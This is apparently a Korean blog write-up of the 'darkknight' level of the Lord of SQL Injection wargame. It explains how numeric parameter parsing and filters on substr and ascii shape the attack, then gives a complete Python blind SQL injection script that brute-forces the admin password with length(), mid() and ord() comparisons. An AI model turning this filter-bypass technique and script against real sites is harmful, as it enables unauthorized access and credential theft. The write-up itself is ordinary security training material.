대부분의 내용은 비슷하지만 필터링이 바뀌었다. 주요적으로 substr, ascii 함수를 사용하지 못하는 필터링이 생겼다.
SQL Injection 을 진행할 때 가장 중요하게 생각해야할 부분은 필터링이 아니라 GET 방식으로 입력받는 데이터가 실제로 어떻게 parsing 되는지이다.
pw의 경우 query 문으로 전달한 데이터는 문자열로 parsing 된다.
하지만 no의 경우 데이터가 정수형으로 parsing 되기 때문에 따옴표로 문자열이라는 것을 지정하지 않는 이상 다른 문자열 데이터는 무시되는 것 같다.
이러한 이유로 아래 exploit 코드의 28번째 줄에서 보통의 방식에서 사용하던
+ str(i) + ... + chr(j)
과 같은 방식은 PW가 모두 '%'로 출력되는 오류가 발생하였다.
query 문에서 string 형식으로 데이터를 GET 한다면 문자열로 비교, integer 형식으로 데이터를 GET 한다면 정수형으로 비교한다는 것을 기억해야 한다.
이에 PW 를 하나씩 비교하는 과정에서 ord() 와 str() 이용하여 아스키코드 값만을 비교하는 방식을 사용하였다.
1 # For LOS exploitation
2 import requests
3
4 requests.packages.urllib3.disable_warnings()
5 org_url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
6 header = {'Cookie': 'PHPSESSID='}
7 session = requests.session()
8
9
10 # Check Length of PW
11 pass_length = 0
12
13 for i in range(0, 100):
14 payload = '?pw=ABCD&no=1234 or id like "admin" and length(pw) like ' + '"' + str(i) + '"'
15 res = session.get(url = org_url + payload, headers=header, verify=False)
16
17 if "Hello admin" in res.text:
18 pass_length = i
19 print("Length of PW is [ %d ]\n" % i)
20 break
21
22
23 # Brute Force
24 password = ''
25
26 for i in range(1, pass_length + 1):
27 for j in range(33, 122):
28 payload = '?pw=ABCD&no=1234 or id like "admin" and ord(mid(pw,' + str(i) + ', 1)) like ' + '"' + str(j) + '"'
29 res = session.get(url = org_url + payload, headers = header, verify=False)
30
31 if "Hello admin" in res.text:
32 password += chr(j)
33 print("Current PW is %s" % password)
34 break
35
36
37 # Result
38 print("\nRESULT")
39 print("-------------")
40 print("PW --> %s" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - giant (1) | 2021.08.16 |
---|---|
Lord of SQL Injection - bugbear (0) | 2021.08.16 |
Lord of SQL Injection(LOS) - golem (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - skeleton (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - vampire (0) | 2021.08.07 |